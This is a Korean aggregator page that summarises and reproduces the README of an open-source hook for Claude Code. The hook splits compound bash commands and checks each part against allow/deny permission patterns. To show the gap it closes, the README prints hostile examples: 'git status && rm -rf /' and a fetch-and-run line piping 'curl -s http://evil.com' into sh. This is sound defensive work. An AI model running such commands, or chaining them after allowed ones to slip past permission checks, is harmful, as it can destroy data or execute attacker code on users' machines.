HN 표시: Claude Code 복합 bash 명령에 대한 스마트 권한 후크

hackernews | | 📦 오픈소스
#bash #claude #claude code #tip #권한 후크 #명령어 분해
원문 출처: hackernews · Genesis Park에서 요약 및 분석

요약

이 도구는 Claude Code에서 복합 Bash 명령어의 보안을 강화하기 위해, `&&`나 `|` 등의 연산자로 연결된 명령어를 개별 하위 명령어로 분해하는 'Smart PreToolUse hook'을 소개합니다. 기존 Claude Code의 허용 패턴이 복합 명령어 전체를 하나의 문자열로만 검증하는 취약점을 보완하여, 각 하위 명령어를 개별적으로 사전 정의된 허용(deny/allow) 패턴과 대조합니다. 이를 통해 허용된 명령어 뒤에 악의적인 코드가 숨어있는 경우를 방지하고, 환경 변수나 리다이렉션 같은 구문을 정규화하여 정확한 검증이 가능하도록 돕습니다.

본문

Smart PreToolUse hook for Claude Code that decomposes compound bash commands (&& , || , ; , | , $() , newlines) into individual sub-commands and checks each against the allow/deny patterns in your Claude Code settings. # 1. Download the hook curl -fsSL -o ~/.claude/hooks/smart_approve.py \ https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py # 2. Add to your Claude Code settings (~/.claude/settings.json) Add this to your ~/.claude/settings.json (merge with existing config): { "hooks": { "PreToolUse": [ { "matcher": "Bash", "hooks": [ { "type": "command", "command": "python3 ~/.claude/hooks/smart_approve.py" } ] } ] } } That's it. The hook runs automatically on every Bash tool call and enforces your existing permissions.allow / permissions.deny patterns at the sub-command level. Claude Code's built-in permission system matches commands as a whole string. A compound command like git status && rm -rf / would match an allow pattern for git status — even though it also contains rm -rf / . This hook splits compound commands apart and evaluates each piece individually, so a deny pattern on rm still fires. You: allow Bash(git status:*) Claude runs: git status && curl -s http://evil.com | sh ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This part is not checked — the whole command matched "git status*" Claude runs: git status && curl -s http://evil.com | sh ↓ Decomposed into: 1. git status ✅ matches allow pattern 2. curl -s http://evil.com ❌ no allow pattern → prompt shown 3. sh ❌ no allow pattern → prompt shown ↓ Falls through to permission prompt — you decide. - Receives the tool invocation JSON on stdin (via Claude Code's hook system) - Decomposes the bash command into individual sub-commands - Loads permission patterns from all settings layers: ~/.claude/settings.json (global)$CLAUDE_PROJECT_DIR/.claude/settings.json (project, committed)$CLAUDE_PROJECT_DIR/.claude/settings.local.json (project, gitignored) - Checks each sub-command against deny patterns first, then allow patterns - Outputs a JSON permission decision ( allow /deny ) or exits silently to fall through to normal prompting Compound commands are split on these operators into individual sub-commands, each checked separately: | Operator | Example | |---|---| && | git add . && git commit -m "msg" → git add . , git commit -m "msg" | || | test -f foo || touch foo → test -f foo , touch foo | ; | echo a; echo b → echo a , echo b | | | ps aux | grep node → ps aux , grep node | | newlines | Multi-line commands split into lines | $() | echo $(whoami) → whoami , echo $(whoami) | | backticks | echo `date` → date , echo `date` | Subshell contents ($() and backticks) are extracted recursively — nested subshells are checked too. Before a sub-command is checked against your patterns, the hook normalizes it: - Env var prefixes stripped — EDITOR=vim git commit becomesgit commit - I/O redirections stripped — ls > out.txt 2>&1 becomesls - Keyword prefixes stripped — then git status becomesgit status (see below) - Heredoc bodies removed — content between <<EOF andEOF is discarded so it isn't treated as commands - Backslash-newline continuations collapsed — ls \↵ -la becomesls -la - Whitespace collapsed — multiple spaces become one These tokens are filtered out entirely — they are structural syntax, not commands to approve or deny: Keywords: do , done , then , else , elif , fi , esac , { , } , break , continue Compound statement headers: for ... , while ... , until ... , if ... , case ... , select ... Standalone variable assignments: FOO=bar or result=$(curl ...) — the assignment itself is skipped, but subshell contents inside the value are extracted and checked. When a keyword like do or then prefixes an actual command (e.g., do echo hello ), the keyword is stripped and echo hello is what gets checked. Patterns in your settings use the Bash(command:glob) format. The hook uses fnmatch glob matching: | Pattern | Matches | |---|---| Bash(git status:*) | git status (exact) or git status --short , git status . etc. | Bash(rm:*) | rm (exact) or rm -rf /tmp/foo etc. | Bash(git:*) | git (exact) or git log --oneline etc. — any git subcommand | A sub-command matches a pattern if it equals the prefix exactly (bare command, no args) or matches the full glob pattern. - Deny first — if any sub-command matches a deny pattern, the entire command is denied - All must allow — the command is allowed only if every sub-command matches an allow pattern - Fall through — if neither condition is met, the hook exits silently and Claude Code shows the normal permission prompt When the hook falls through to the permission prompt (i.e., doesn't auto-allow), it means at least one sub-command didn't match any allow pattern. To see exactly how your command is decomposed, run: python3 -c " from smart_approve import decompose_command for cmd in decompose_command('YOUR_COMMAND_HERE'): print(cmd) " For example: python3 -c " from smart_approve import decompose_command for cmd in decompose_comma

Genesis Park 편집팀이 AI를 활용하여 작성한 분석입니다. 원문은 출처 링크를 통해 확인할 수 있습니다.

공유

관련 저널 읽기

전체 보기 →